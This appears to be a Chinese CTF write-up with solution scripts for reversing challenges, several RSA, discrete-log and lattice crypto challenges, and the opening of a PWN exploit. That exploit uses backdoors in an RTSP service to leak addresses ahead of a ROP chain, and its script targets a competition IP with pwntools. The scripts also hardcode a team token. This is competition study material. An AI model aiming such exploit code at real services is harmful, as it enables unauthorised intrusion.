tbl1_raw = b'oN_Y0U_F\x89{\xa4\xc3\xc5\xe3x\xb3\xc3\x92\x87\xb0\x92\x94\xa4\xd3GREA@7tT0VNd_t#e\xc3\x92\x87\xb0\x92\x94\xa4\xd3\x84\xccGI\x95e\x95\x8efc\x9b\x8c\xaa^\xe93_33Y_S0_\x84\xccGI\x95e\x95\x8e\xbe\x88\xf1\xeb\x10\xce>\x82qN_Y0U_FGREA@7tT\xbe\x88\xf1\xeb\x10\xce>\x82\xd3\xad\xb3\xb0c\x96\xd3\xba3VNd_t#eec\x9b\x8c\xaa^\xe93\xd3\xad\xb3\xb0c\x96\xd3\xbam\xd0Pl\xb4\xa2D\x9fc33Y_S0_oN_Y0U_Fm\xd0Pl\xb4\xa2D\x9f\xb8X\x89\xb8\xc5\xc2\x85\xadLREA@7tT0VNd_t#e\xb8X\x89\xb8\xc5\xc2\x85\xad\xab\xb1\x99\x98sx\xe8\xc8kc\x9b\x8c\xaa^\xe93_33Y_S0_\xab\xb1\x99\x98sx\xe8\xc8\xa2\xdd\x9d\x94\xff\x8c\nnvN_Y0U_FGREA@7tT\xa2\xdd\x9d\x94\xff\x8c\nn\xc8s\xb5\xb8\x96\xc4\xb4\x948VNd_t#eec\x9b\x8c\xaa^\xe93\xc8s\xb5\xb8\x96\xc4\xb4\x94\x94\xb5\xa2\xbb\x92\xb5\x97\xd9h33Y_S0_oN_Y0U_F\x94\xb5\xa2\xbb\x92\xb5\x97\xd9\x9c\xad5a\xb4\x81Q\x99QREA@7tT0VNd_t#e\x9c\xad5a\xb4\x81Q\x99\xa0w\x9b\xa0\xa6\xa6\xc9\xa2pc\x9b\x8c\xaa^\xe93_33Y_S0_\xa0w\x9b\xa0\xa6\xa6\xc9\xa2\xc9\xc2\xef\xe3\xdd\x9f]\xa8{N_Y0U_FGREA@7tT\xc9\xc2\xef\xe3\xdd\x9f]\xa8\xac\xc8aa\x85\x83\x80\x80=VNd_t#eec\x9b\x8c\xaa^\xe93\xac\xc8aa\x85\x83\x80\x80\x89{\xa4\xc3\xc5\xe3x\xb3m33Y_S0_oN_Y0U_F\x89{\xa4\xc3\xc5\xe3x\xb3\xc3\x92\x87\xb0\x92\x94\xa4\xd3VREA@7tT0VNd_t#e\xc3\x92\x87\xb0\x92\x94\xa4\xd3\x84\xccGI\x95e\x95\x8euc\x9b\x8c\xaa^\xe93_33Y_S0_\x84\xccGI\x95e\x95\x8e\xbe\x88\xf1\xeb\x10\xce>\x82\x80N_Y0U_FGREA@7tT\xbe\x88\xf1\xeb\x10\xce>\x82\xd3\xad\xb3\xb0c\x96\xd3\xbaBVNd_t#e'
tbl1_128 = [b2i(tbl1_raw[i:i+16]) for i in range(0, len(tbl1_raw), 16)]
tbl1_64 = [u64(tbl1_raw[i:i+8]) for i in range(0, len(tbl1_raw), 8)]
tbl2 = bytes.fromhex("0E1034391728052519212E0C3A162020")

v0a = (0x6835B4293DD0D39E - 0x5474374041455247) & 0xffffffffffffffff
v0b = (0xE69C68D3BC875A19 + 0x7DC131EF140E7742) & 0xffffffffffffffff
v1a = (0x1B69DAF30AE1351F + 0x452C699C4F4C522D) & 0xffffffffffffffff
v1b = (0xACA0DA795EF62809 - 0x6523745F644E5642) & 0xffffffffffffffff

v0 = convert_64_128(v0a, v0b)
v1 = convert_64_128(v1a, v1b)
idx = 72
while idx:
    idx -= 1

    v0_sum = v0 & 0xffffffffffffffff
    v1_sum = v1 & 0xffffffffffffffff

    v0 >>= 64
    v1 >>= 64

    v1b = rol(v0 ^ v1_sum, -tbl2[2 * (idx & 7) + 1])
    v0b = rol(v1 ^ v0_sum, -tbl2[2 * (idx & 7)])
    v0a = (v0_sum - v0b) & 0xffffffffffffffff
    v1a = (v1_sum - v1b) & 0xffffffffffffffff

    v0 = convert_64_128(v0a, v0b)
    v1 = convert_64_128(v1a, v1b)

    if (idx - 1) & 3 == 0:
        idx -= 1

        v2 = tbl1_128[2 * (idx >> 2) + 1]
        v2aa, v2bb = convert_128_64(v2)
  
        v2_sum = v1 & 0xffffffffffffffff
        v0_misc_sum = v0 & 0xffffffffffffffff

        v0 >>= 64
        v1 >>= 64

        v2b = rol(v0 ^ v2_sum, -tbl2[2 * (idx & 7) + 1])
        v2a = (v2_sum - v2b) & 0xffffffffffffffff
        v1a = (v2a - v2aa) & 0xffffffffffffffff
        v1b = (v2b - v2bb) & 0xffffffffffffffff

        v0b = (rol(v1 ^ v0_misc_sum, -tbl2[2 * (idx & 7)]) - tbl1_64[4 * (idx >> 2) + 1]) & 0xffffffffffffffff
        v0a = (v0_misc_sum - v0b - tbl1_64[4 * (idx >> 2)] - tbl1_64[4 * (idx >> 2) + 1]) & 0xffffffffffffffff
        v0 = convert_64_128(v0a, v0b)
        v1 = convert_64_128(v1a, v1b)

flag = i2b(v0) + i2b(v1)
print(flag.decode())

fancy

rustc 程序,main 函数在 sub_ED60
20231219121627
经过一堆运算后得到一张长度为 256 的置换表,可以在 ptr 处直接调试得到
20231219121638
然后将输入逐字节拆分成两个字节,例如输入字符串 12,对应 16 进制 31 32,会被拆分为 [3, 1, 3, 2]
最后遍历拆分后的数组,通过密钥 C0de_is_fancy 进行逐字节加密后置换
因此解题需要先根据 cipher 文件的最后访问时间戳 1702565185 调试得到置换表,再进行解密
解题脚本如下

key = b"C0de_is_fancy"
with open(r"cipher", 'rb') as f:
    cipher = f.read()

tbl = b'\x88\xe0\t\xbeB\xa4\x834\xc1\xea!PK\xc0\xd20i\x15\xb0\x18\x01?k\x00\xee\x97\xf5x\x1f\x85h^\xa0V\xb4pHfn\xf2\x96\x8e\x16\x1d\xd1\x81\x87\xa9\x19\x94\xca\xb7J\x80\xfb\xe8\xaf\x14\x04\x9bE\xdb`mD\xd8\xce\x05\xfdz\xf7=\xe7\x17\xb9Nv\xc4\xdaT\x99Xl}\xb6*_\xa2\xcd\xa1Y\x91\xb3\xcf&\xac6\x9a%/\xa6j\xdf\x06\\\xd6\xb1\x03\xd0\x1a\xe6 \xd3\xab\xd5\xe1\xbc$A\x9e7-(\x9f~\x1e\xe5\xfc\xc5c\x8b\xb5\x11\xbf1\xa8+b|\x8cM\x93\xb2\x95\x9d\xf9\xe2a5\x9cF\xae\x13\x98e\x0f\xef"\xa5\xbb\x00\xf0Id\xde\x8fg:q\rGw\xd7\xbd\xc7\xcb\xf6ysQ\xc9C\x1c\xa3\xad<\x89r)\xaa\xf1\x7f\x84\xed\xc6\xfe\xa7\x1b\x90\xe4\xc3\xb8\xba8,\n\x02\xe9\x86{t\xe3\xf4\xc8\xd4\xdd\xdc\xc22\xf8#u3\x0b\'L\xec\x92oO\xd9\x0e.W]\x12S\xeb\xcc\xf3\x07[\x0c\x08@U\x10\x82;R9\x8d\xfaZ\x8a>'
plain = []
for idx, c in enumerate(cipher):
    plain.append((tbl.index(c) - key[idx%len(key)]) & 0xff)

flag = ''
for i in range(0, len(plain), 2):
    flag += chr(plain[i] * 16 + plain[i+1])
print(flag)

Crypto

guess game

密钥字节为80位,输入全0/全1的数据有大概50%的概率也就是40位正确,要求正确率在0.7以上,也就是至少57位正确,数学期望碰撞几万次可以出一次,在多台电脑上开多个终端反复连接发送全0/全1数据,碰撞正确率在0.7以上的情况:

from pwn import *
import random

#context.log_level = "debug"

while True:
    io = remote("47.97.69.130", 22333)
    io.recvuntil(b'team token:')
    io.sendline(b"icqb09ceb66a13398df90453c49be64f")
    io.recvuntil(b">")
    cnt = 0
    io.sendline(b"2")
    for i in range(80):
        io.recvuntil(b"> ")
        #io.sendline(str(random.randint(0, 1)).encode())
        io.sendline(b"0")
        res = io.recvline()
        if b"Right" in res:
            cnt += 1
    print("cnt:",cnt)
    if cnt <= 0.7 * 80:
        io.close()
    else:
        res=io.recv()
        print(res)
        break
    #break

babyrsa

p、q sharing least significant bits并且d small,先改2022年虎符CTF的RRSSAA的exp发现界虽然满足但是需要的参数太大跑不出来,然后检索到这篇论文:A new attack on some RSA variants,发现里面的参数都是对的上的,然后把new attack实现一遍,coppersmith的步骤用虎符的模板对着改函数和polynomials的选择策略就能出私钥d:
20231219121814
求出d之后是个实现的复数群,其阶是

$$
(p^2-1)(q^2-1)
$$

,而e和d正好是关于这个阶的逆元,因此用e加密可以用d解密出来。
首先从远程拿一组数据运行以下求p+q的程序

#sage
from Crypto.Util.number import *
from gmpy2 import *
from tqdm import tqdm
from math import sqrt

def gen():
    while True:
        k = getrandbits(100)
        pp = getrandbits(400) << 100
        qq = getrandbits(400) << 100
        p = pp + k
        q = qq + k
        if isPrime(p) and isPrime(q):
            break
    if q > p:
        p, q = q, p

    n = p * q
    lb = int(n ** 0.675)
    ub = int(n ** 0.70)
    d = randrange(lb, ub)
    e = inverse(d, (p * p - 1) * (q * q - 1))
    sk = (p, q, d)
    pk = (n, e)
    return pk, sk, p, q
  

def attack(a1, a2, a3, e, m, t, X, Y):
    PR = PolynomialRing(QQ, 'x,y', 2, order='lex')
    x, y = PR.gens()
    F = x * y ^ 2 + a1 * x * y + a2 * x + a3

    G_polys = []
    # G_{k,i_1,i_2}(x,y) = x^{i_1-k}y_{i_2-2k}f(x,y)^{k}e^{m-k} 
    for s in range(m + 1):
        for i in range(s, m+1):
            for j in [2*s, 2*s + 1]:
                G_polys.append(x**(i-s) * y**(j-2*s) * F**s * e**(m-s))

    H_polys = []
    # y_shift H_{k,i_1,i_2}(x,y) = y^{i_2-2k} f(x,y)^k e^{m-k}
    for s in range(m + 1):
        for i in range(2*s+2, 2*s+t+1):
            H_polys.append(y**(i-2*s) * F**s * e**(m-s))

    polys = G_polys + H_polys
    monomials = []
    for poly in polys:
        monomials.append(poly.lm())
  
    dims1 = len(polys)
    dims2 = len(monomials)
    MM = matrix(QQ, dims1, dims2)
    for idx, poly in enumerate(polys):
        for idx_, monomial in enumerate(monomials):
            if monomial in poly.monomials():
                MM[idx, idx_] = poly.monomial_coefficient(monomial) * monomial(X, Y)
    B = MM.LLL()

    found_polynomials = False

    for pol1_idx in range(B.nrows()):
        for pol2_idx in range(pol1_idx + 1, B.nrows()):
            P = PolynomialRing(QQ, 'a,b', 2)
            a, b = P.gens()
            pol1 = pol2 = 0
            for idx_, monomial in enumerate(monomials):
                pol1 += monomial(a,b) * B[pol1_idx, idx_] / monomial(X, Y)
                pol2 += monomial(a,b) * B[pol2_idx, idx_] / monomial(X, Y)

            # resultant
            rr = pol1.resultant(pol2)
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print(f"found them, using vectors {pol1_idx}, {pol2_idx}")
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")


    PRq = PolynomialRing(QQ, 'z')
    z = PRq.gen()
    rr = rr(z, z)
    soly = rr.roots()[0][0]

    ppol = pol1(z, soly)
    solx = ppol.roots()[0][0]
    return solx, soly

#pk, sk, p, q = gen()
#n, e = pk
#n = 611402847577596838649117628567007514815745193613363898749361
#e = 256620536587836325389289742308993660982466972819568896656661249105081887104266414292000389611061562475252796784804753727
#p = 888379293209545962098804192953
#q = 688222758286850950527059031737
#k = 17387477862024536259218971283032599828907
#v = 1433911212640302358

n = 5694350839748103758941310072434789677959274080880994064872972286723874975966723258805878568826454093524462127247490952385923884318378830232279963898405268126696799633876599344925061047655584026910178550556416112653500728858807589995500176515129201769843312883972653937927842848070122147973300347201121
e = 19189685324582209980440907444222552763777789359176267273873051453286291338723601557362786484309129405011242055086597663653464198998514054395060877505627241403483333260346957901570399719706931003217260147231938257593343288877729443207767471277651284374503295052141987038477745342230509317888007807190950936142756746484661959072979512182215805756822906718477952041152295341827714280934619469254438605649413685701441323385513752901043576350725512852260080495942423561437969513490770443444273855496145622445501855771078079749341555395739816082833294122197200600706077842231249857877820300611373359720466857
c1 = 1902374441251387582185705338719181876103660360481869419997864436621936495103480919274862416180871748151858313412315040494751403390745882886165800999234708525942223547468149948224402791438471709804648538747322017806956634906609406413457892862772740305685026992237329541010001254235074422862681646822677
c2 = 3557424425571645545335223323799030936234311534133158034871964339272289605580899074856402014233235904072419009976772297720833047587152823365466985153566590257802959264132040229976496853025102001385877770238648713299037432645582127700545887508782100351367558355288163080679525915583599222083095955471927

alpha = ZZ(e).nbits() / ZZ(n).nbits()
#alpha = 1.997
beta = 0.1
delta = 0.7
nbits = 1000

#nbits = ZZ(n).nbits()
m = 4
t = 4
X = int(floor(2 * int(n) ^ (alpha+delta-2)))
Y = int(floor(3 * int(n) ^ (0.5 - 2 * beta)))
#X = 937778417098332385624683630643134748918415
#Y = 2588329081005172512

r = 100
#r = 20
x = var('x')
u0 = int(solve_mod(x ^ 2 == n, 2 ^ r)[0][0])
assert pow(u0, 2, 2 ^ r) == n
v0 = 2 * u0 + (n - u0 ^ 2) * invert(u0, 2 ^ (2 * r)) % 2 ^ (2 * r)
print(v0)
#print((p + q - v0) % 2 ^ (2 * r))
#assert (p + q - v0) % 2 ^ (2 * r) == 0
#v = (p + q - v0) // 2 ^ (2 * r)
a1 = v0 * invert(int(pow(2, 2 * r - 1, e)), e) % e
a2 = -((n + 1) ^ 2 - v0 ^ 2) * invert(int(pow(2, 4 * r, e)), e)  % e
a3 = -invert(int(pow(2, 4 * r, e)), e) % e
a1 = int(a1)
a2 = int(a2)
a3 = int(a3)
P.<x,y>=PolynomialRing(Zmod(e))
F = x * y ^ 2 + a1 * x * y + a2 * x + a3
x, y = attack(a1, a2, a3, e, m, t, X, Y)
S = y * 2 ^ (2 * r) + v0
print(S)
#4884409929815001833870220257324358638098886765112861674960936740955793933099198236336880347323652757916694731453190912739437056864748914957440594029922

求出p+q之后联合n=p*q解方程解出p和q然后就可以求出d,解密即可:

from Crypto.Util.number import *
from gmpy2 import *
from collections import namedtuple

Complex = namedtuple("Complex", ["re", "im"])

def complex_mult(c1, c2, modulus):
    return Complex(
        (c1.re * c2.re - c1.im * c2.im) % modulus,
        (c1.re * c2.im + c1.im * c2.re) % modulus,
    )

def complex_pow(c, exp, modulus):
    result = Complex(1, 0)
    while exp > 0:
        if exp & 1:
            result = complex_mult(result, c, modulus)
        c = complex_mult(c, c, modulus)
        exp >>= 1
    return result

def solve(a,b,c):
    delta=b*b-4*a*c
    if delta<0:
        return (0,0)
    delta=isqrt(delta)
    if (-b+delta)%(2*a)!=0 and (-b-delta)%(2*a)!=0:
        return (0,0)
    return ((-b+delta)//(2*a),(-b-delta)//(2*a))


n = 5694350839748103758941310072434789677959274080880994064872972286723874975966723258805878568826454093524462127247490952385923884318378830232279963898405268126696799633876599344925061047655584026910178550556416112653500728858807589995500176515129201769843312883972653937927842848070122147973300347201121
e = 19189685324582209980440907444222552763777789359176267273873051453286291338723601557362786484309129405011242055086597663653464198998514054395060877505627241403483333260346957901570399719706931003217260147231938257593343288877729443207767471277651284374503295052141987038477745342230509317888007807190950936142756746484661959072979512182215805756822906718477952041152295341827714280934619469254438605649413685701441323385513752901043576350725512852260080495942423561437969513490770443444273855496145622445501855771078079749341555395739816082833294122197200600706077842231249857877820300611373359720466857
c1 = 1902374441251387582185705338719181876103660360481869419997864436621936495103480919274862416180871748151858313412315040494751403390745882886165800999234708525942223547468149948224402791438471709804648538747322017806956634906609406413457892862772740305685026992237329541010001254235074422862681646822677
c2 = 3557424425571645545335223323799030936234311534133158034871964339272289605580899074856402014233235904072419009976772297720833047587152823365466985153566590257802959264132040229976496853025102001385877770238648713299037432645582127700545887508782100351367558355288163080679525915583599222083095955471927
S = 4884409929815001833870220257324358638098886765112861674960936740955793933099198236336880347323652757916694731453190912739437056864748914957440594029922
c = Complex(c1, c2)
p, q = solve(1, -S, n)
d=invert(e,(p**2-1)*(q**2-1))
res = complex_pow(c, d, n)
flag=long_to_bytes(res.re)+long_to_bytes(res.im)
print(flag)
#b'flag{e76870403e0ab7a1a954056b2c67e99b}'

not only rsa

注意到n=p^5,p是素数,首先在模p下用AMM开5次方根,然后对所有模p下的根进行hensel lifting到模p^5求出模p^5也即模n的根:

import random
import sympy
import math
from gmpy2 import *
from Crypto.Util.number import *
from hashlib import sha512
import os

def Legendre(a,p):       #勒让德符号计算
    return (pow((a%p+p)%p,(p-1)//2,p))%p

def ex_Legendre(a,p,r):     #判断是否为r次剩余
    return (pow(a,(p-1)//r,p)==1)

def get_nonre(p):
    a=random.randint(1,p)
    while Legendre(a,p)==1:
        a=random.randint(1,p)
    return a

def get_ex_nonre(p,r):
    a=random.randint(1,p)
    while ex_Legendre(a,p,r)==1:
        a=random.randint(1,p)
    return a

def get_ts(p):
    p=p-1
    count=0
    while p%2==0:
        count+=1
        p=p//2
    return count,p

def get_ex_ts(p,r):
    P=p-1
    count=0
    while P%r==0:
        count+=1
        P=P//r
    return count,P

def get_alpha(r,s):
    try:
        k=-1*invert(s,r)%r
        alpha=(s*k+1)//r
    except:
        k=1
        while (s*k+1)%r!=0:
            k+=1
        alpha=(s*k+1)//r
    return alpha

def amm2(a,p):
    t,s=get_ts(p)
    ta=pow(get_nonre(p),s,p)
    tb=pow(a,s,p)
    h=1
    for i in range(1,t):
        d=pow(tb,2**t-1-i,p)
        if d==1:
            k=0
        else:
            k=1
        tb=(tb*pow(ta,2*k,p))%p
        h=(h*pow(ta,k,p))%p
        ta=pow(ta,2,p)
    return h*pow(a,(s+1)//2,p)%p

def ammr(a,p,r):           #AMM获得一个根
    t,s=get_ex_ts(p,r)
    assert gcd(r,s)==1
    print("t:",t)
    alpha=get_alpha(r,s)
    rho=get_ex_nonre(p,r)
    ta=pow(rho,(s*r**(t-1))%(p-1),p)
    tb=pow(a,r*alpha-1,p)
    tc=pow(rho,s,p)
    h=1
    if t==0:
        return pow(a,alpha,p)*h%p,ta,p
    for i in range(1,t-1):
        d=pow(tb,r**(t-1-i),p)
        if d==1:
            j=0
        else:
            print("dddd")
            j=-sympy.discrete_log(p,d,ta)
            #j=-math.log(d,a)
            print(j)
        tb=tb*pow(pow(tc,r,p),j)%p
        h=h*pow(tc,j,p)%p
        tc=pow(tc,r,p)
    return pow(a,alpha,p)*h%p,ta,p

def extend(root,ta,p,r):
    res=set()
    for i in range(r):
        tmp=root*pow(ta,i,p)%p
        res.add(tmp)
    return list(res)
 

def CRT(a,b):
    pro=1
    res=0
    for i in b:
        pro*=i
    for i in range(len(b)):
        R=pro//b[i]
        res+=a[i]*R*invert(R,b[i])
    return res%pro

def solve_prime(a,p,r):
    RES=ammr(a,p,r)
    L=extend(RES[0],RES[1],RES[2],r)
    return L

def lift(r, e, k, p, c):
    sol = r
    for i in range(k):
        sol = sol - (pow(sol, e, p ** (i + 2)) - c) * invert(e * pow(sol, e - 1, p ** (i + 2)), p ** (i + 2))
        sol = sol % p ** (i + 2)
    return sol

p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e=641747
c=730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
Lp=solve_prime(c,p,e)
print(len(Lp))
for i in Lp:
    tmp = long_to_bytes(lift(i, e, 4, p, c))
    if b'flag' in tmp:
        print(tmp)
        break
#b"flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}\x8e\xf5\x02-\xb5sAvQ9qX\xfb\xd9\x93U\x0b\x0b\xd9\x01\xe6e\xd3\x1d\x06\xd9V\x1bB\x1a\xed\xbb\xdf\xe8\x9b-\xb1\x8e\xd7\xcb\x0c@\x14\xbb:\xc9<\xe6tL\xa7\x04S\xad\xc1\x12 P\xcd\x9b.\xbdvK\t?|\xf5$\xf2\x8c\x989\xc4\x069\xb0\x10m\x0b\x96i\xaf\x14\x8d\x98,\xf6E\xc4{\x14\xe1-8mh{\x88\xe2\xec'\x92lz$\xb0)\xb6\xf6-u\x9b\xacS\x01"

discrete_log

大素数p=2q+1,q是大素数,没有漏洞点,题目强调flag长度小于45字节,并且样例flag中全是十六进制字符,因此猜测为短flag并且flag头包裹的内容为十六进制字符,首先暴力flag的长度然后再用bsgs算法暴力即可,在flag长度为18的时候爆破出结果,18的时候爆了一个多小时:

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from gmpy2 import *
from tqdm import tqdm
from hashlib import md5
from time import time
#flag = b'flag{1234567890}'

#assert len(flag) <= 45
#assert flag.startswith(b'flag{')
#assert flag.endswith(b'}')

#m = bytes_to_long(pad(flag, 128))

p = 0xf6e82946a9e7657cebcd14018a314a33c48b80552169f3069923d49c301f8dbfc6a1ca82902fc99a9e8aff92cef927e8695baeba694ad79b309af3b6a190514cb6bfa98bbda651f9dc8f80d8490a47e8b7b22ba32dd5f24fd7ee058b4f6659726b9ac50c8a7f97c3c4a48f830bc2767a15c16fe28a9b9f4ca3949ab6eb2e53c3
g = 5

#assert m < (p - 1)

#c = pow(g, m, p)

c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854


#length = len(flag)
length = 18

table = '0123456789abcdef'

prefix = b'flag{' + b'\x00' * (length - 6) + b'}' + (128 - length) * long_to_bytes(128 - length)
t = bytes_to_long(prefix)
cc = int(c * invert(int(pow(g, t, p)), p) % p)
l = 2 ** (8 * (128 - length + 1))
cc= pow(cc, invert(l, (p - 1) // 2), p)
#k = bytes_to_long(flag[5 : -1]) * l

t1=time()
hash_table = {}
for i in range(16 ** ((length - 6) // 2)):
    left = bytes_to_long(hex(i)[2:].rjust((length - 6) // 2, '0').encode())
    tmp = int(cc * invert(int(pow(g, left, p)), p) % p)
    hash_table[tmp] = left

print("Finish!")
for i in range(16 ** (((length - 6) + 1) // 2)):
    right = bytes_to_long(hex(i)[2:].rjust(((length - 6) + 1) // 2, '0').encode())
    tmp = pow(g, right * 2 ** (8 * ((length - 6) // 2)), p)
    if int(tmp) in hash_table.keys():
        res = right * 2 ** (8 * ((length - 6) // 2)) + hash_table[tmp]
        print(long_to_bytes(res))
        break
t2=time()
print("time:",t2-t1)

1515

题目是这篇论文:Finding short integer solutions when the modulus is small的一个sample,根据文中提到的实现找到对应的github实现仓库代码,根据仓库代码我们只需要从靶机接收A和u然后处理成矩阵形式再放到原始代码中替换,再调整代码中的维度参数和格筛参数使得能够求解出所需要的x再发过去就可以拿到flag,需要注意的是只有在alarm的时间内过proof of work才能进行下面的步骤,否则就会出现EOF的情况,题目的求解需要在sagemath中安装g6k环境

#sage
from Crypto.Util.number import *
from hashlib import sha256
from pwn import *

from fpylll import BKZ, GSO, IntegerMatrix, LLL
from fpylll.algorithms.bkz2 import BKZReduction as BKZ2
from sage.all import IntegerModRing, ZZ, matrix, identity_matrix, \
        random_matrix, random_vector, vector
from g6k import Siever, SieverParams
from numpy import array, zeros
from numpy.linalg import norm
import sys

def preprocess(M1):
    M1=M1.split("\n")
    M=[]
    number = re.compile('[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?')
    for i in M1:
        M.append([ int(match.group()) for match in number.finditer(i) ])
    return M

#context.log_level = "debug"

io = remote("120.27.12.173",1515)
r1, H = io.recvline().decode().split()
for r0 in range(2**22):
    tmp = sha256(str(r0 * int(r1)).encode()).hexdigest()
    if tmp == H:
        break
print("finish pow")
io.recvuntil(b'Give me r0: ')
io.recvuntil(b'Give me r0: ')
io.sendline(str(r0).encode())
res = io.recvuntil(b'Give me a list of numbers: ')
res = res.split(b"\n")[:-1]
AAA = b""
for i in res[:-1]:
    AAA += i + b"\n"
A = matrix(ZZ, preprocess(AAA.decode()[:-1]))
u = vector(ZZ, preprocess(res[-1].decode())[0])
#A1515 = matrix.block(ZZ, [[identity_matrix(ZZ, len(A0[0]))], [A0]])
u = vector(ZZ, u)
A = matrix(ZZ, A)
print("dimensions:", A.dimensions())
print("length:",u.length())


#  mitaka n512q257
n = 512
m_ = 1024
m = m_ + 1
q = next_prime(max(A.list()))
#nu = 1470.71
nu = 1510
Zq = IntegerModRing(q)

# ISIS matrix
Id = identity_matrix
#A0 = random_matrix(Zq, m_-n, n)
A0 = A
# keeping the ``raw`` ISIS matrix to check everything at the end
AISIS = matrix.block(Zq, [[identity_matrix(ZZ, n)], [A0]])  # % q

# uniform ISIS target
#u = random_vector(Zq, n)

# SIS* matrix
Au0 = matrix.block(Zq, [[matrix(u)], [A0]])  # % q
Afull = matrix.block(Zq, [[identity_matrix(ZZ, n)], [Au0]])  # % q
# keeping a numpy version of Afull makes life easier later
A_np = array(Afull.lift())

print("SIS* instance built")

# basis of the SIS* kernel lattice
B = matrix.block(ZZ, [[q*Id(n), 0], [-Au0, Id(m-n)]])
print("Full basis built")

"""
The basis B that has been built is the kernel for the SIS* matrix (columns)

A' = (Id || u ||  A0) in ZZ_q^(n x (n + 1 + n))
= (Id || Au0)

where u is the uniform ISIS target vector and A0 is uniform in ZZ_q^(n x n).
We rewrite this as

A' = (A_1' A_2') = (Id || Au0)

The basis, in ~row~ notation, is

[q I_n     0   ]
[  U   I_(n+1) ]

where U = - (A_1')^-1 A_2' = -Au0
"""

# take a 2z dimensional block, with volume q^z
# i.e. symmetric around the centre of the basis
z1 = 100
z2 = 100
d = z1+z2
"""
Note that because of the form of the basis, the basis of the
projected sublattice we are concerned with can be directly
taken from the full basis as below.

First we project against some number k of q vectors to take

[q I_n     0   ]
[  U   I_(n+1) ]

to

[0        0         0   ]
[0  q I_(n - k)     0   ]
[0    U[k:n]    I_(n+1) ]

where U[k:n] is the kth to the (n-1)th columns of U.
Then we simply do not include the final k row vectors.
"""
B_ = matrix(B)[n-z1:n+z2, n-z1:n+z2]

beta_BKZ = 30
beta_sieve = 80


def complete_solution(v):
    # this lifts and reduces a vector from the projected sublattice sieve
    x = zeros(m, dtype="int32")
    x[n-z1:n+z2] = v
    y = (x.dot(A_np))[:n-z1] % q
    y -= q * (y > q/2)
    x[:n-z1] = -y
    return x


print("Partial basis built")
C = B_.LLL()
print("Partial Basis LLL reduced")

X = IntegerMatrix.from_matrix(C)
M = GSO.Mat(X, float_type="ld", U=IntegerMatrix.identity(d),
            UinvT=IntegerMatrix.identity(d))
lll = LLL.Reduction(M)
bkz = BKZ2(lll)
#g6k = Siever(M)
g6k = Siever(M, SieverParams(threads = 24))

for bs in range(5, beta_BKZ+1):
    param = BKZ.Param(block_size=bs, max_loops=1, auto_abort=True)
    print("\rBKZ-%d / %d ... " % (bs, beta_BKZ), end="")
    bkz(param)
    bkz.lll_obj()
    sys.stdout.flush()
print("BKZ profile :")

for x in bkz.M.r():
    print("%.3f" % (x**.5), end=" ")

g6k.initialize_local(0, beta_sieve-20, beta_sieve)
g6k(alg="gauss")
while g6k.l > 0:
    g6k.extend_left()
    g6k(alg="gauss" if g6k.n < 50 else "hk3")
    print("\r Sieve-%d / %d ... " % (g6k.n, beta_sieve), end="")
    sys.stdout.flush()

with g6k.temp_params(saturation_ratio=.9):
    g6k(alg="gauss" if g6k.n < 50 else "hk3")


print("\n Sieving Done")

norms = []

X_ = array(matrix(X))[:beta_sieve]
print(X_.shape)

trials = 0
FailZ, FailC, FailN = 0, 0, 0
for vec in g6k.itervalues():
    trials += 1
    v = array(vec)
    x = v.dot(X_)

    if (x % q == 0).all():
        # trivial vector: all mod q
        FailZ += 1
        continue

    if abs(x[z1]) != 1:
        # we do not recieve +/-1 in the first position, we we cannot
        # solve ISIS for u
        FailC += 1
        continue

    lx = norm(array(x))
    y = complete_solution(x)
    ly = norm(y)
    if ly < nu:
        break
    # the norm of the solution is too long
    FailN += 1


print("Failures: \n\t %d lifts were 0 mod q,\n\t %d lifts didn't had the coeff +/- 1,\n\t %d lifts were too long" % (FailZ, FailC, FailN)) # noqa
if trials == g6k.db_size():
    print("FAILED: All candidates lifted. No solution found")
    #exit()

# Reconstructing ISIS solution from SIS* solution
f = - y[n]
x = vector(ZZ, list(f * y[:n])+list(f * y[n+1:]))

# Checking it all
assert (x * AISIS == u)
assert (x.norm().n() < nu)

# Claiming victory
print("SUCCESS: ISIS solved after %d lifts, out of %d candidates !" % (trials, g6k.db_size())) # noqa
print("Solution Norm:", x.norm().n(), " < ", nu)
io.sendline(str(x.list()).encode())
res = io.recv()
print("res:",res)

PWN

A-rtsp

rtsp协议,内部有三个后门,一个给地址一个开后门一个栈溢出,先调给地址的后门拿基址,然后调用开后门的后门打开溢出,最后使用栈溢出后门进行rop,溢出时注意要用特定数据去盖某些位置,会影响局部变量。所有交互都走socket,rop也要用socket返回数据

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
from ctypes import *

# context(os = 'linux', arch = 'amd64', log_level = 'info')
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context.terminal = ['tmux', 'splitw', '-h']

#p = remote('127.0.0.1', 8554)
p = remote("8.147.132.53",36720)
#p =  process('./A-rtsp')
#-----------------------------------------------------------------------------------------
r = lambda              : p.recv(4096)
rl = lambda a=False     : p.recvline(a)
ru = lambda a,b=True    : p.recvuntil(a,b)
rn = lambda x             : p.recvn(x)
s = lambda x            : p.send(x)
sl = lambda x           : p.sendline(x)
sa = lambda a,b         : p.sendafter(a,b)
sla = lambda a,b        : p.sendlineafter(a,b)
uu32 = lambda           : u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda           : u64(p.recv(6).ljust(8,b'\x00'))
irt = lambda            : p.interactive()
dbg = lambda text=None  : gdb.attach(p, text)
lg = lambda s,addr      : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------

s(b'GET_PARAMETER rtsp://192.168.127.133:8554/* RTSP/1.0\r\nCSeq: 2\r\nGET_INFO: 2023\r\n\r\n')
baseaddr = int(rl("0\n'")[-15:],16)-0x2A9990
